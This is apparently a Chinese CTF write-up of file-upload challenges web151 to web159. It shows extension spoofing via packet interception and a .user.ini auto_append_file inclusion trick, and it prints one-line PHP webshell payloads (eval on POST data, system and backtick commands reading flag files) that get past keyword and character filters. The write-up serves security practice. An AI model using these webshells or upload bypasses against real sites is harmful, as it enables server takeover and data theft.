web151
上传图片,经过测试只能上传后缀为png的图片 抓包改数据: 使用蚁剑连接: 找到flag!
web152
做法和上题一样!
web153
继续之前的操作,但并没有上传成功: 后缀改成php3发现可以上传成功,但不能被解析,也就不能蚁剑连接
访问upload时发现存在index.php文件
使用user.ini绕过 .user.ini
原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。
1、上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。这样就在每个php文件上包含了我们的木马文件。 2、上传木马,因为有文件名限制,命名为shell.png bp抓包后改后缀为shell.txt 可以访问得到shell.txt
3、访问同目录下的index.php,此时木马已经解析到这里
蚁剑连接:
登陆后可以看到我们上传的.user.ini文件以及shell.txt:
web154
发现依旧存在index.php这个文件 继续上传.user.ini文件 上传shell.txt 发现上传失败了; 经过测试发现过滤了php 看了看大师傅们的博客发现要用到短标签绕过,也可以大写绕过:
1:<?= eval($_POST[A]);?> 2:<? eval($_POST[A]);?> 3:<% eval($_POST[A]);%> 上面的只有第一个可以用
蚁剑连接:
web155
.user.ini+短标签绕过(同上)
web156
依旧是先上传.user.ini,之后经过测试发现上传木马的时候不仅过滤了php,同时也过滤了[] ,可以用{} 代替!其他的同上 或者直接省略蚁剑连接:之前的几关也可以
web157
测试发现多过滤了{} 、; 使用: <?= system('tac ../f*')?> 然后访问upload/index.php即可:
web158
同上
web159
不含() 时上传成功,当含有() 时报错,显然又过滤了() 我们用反单引号绕过:
<?= `cat ../f*`?>
|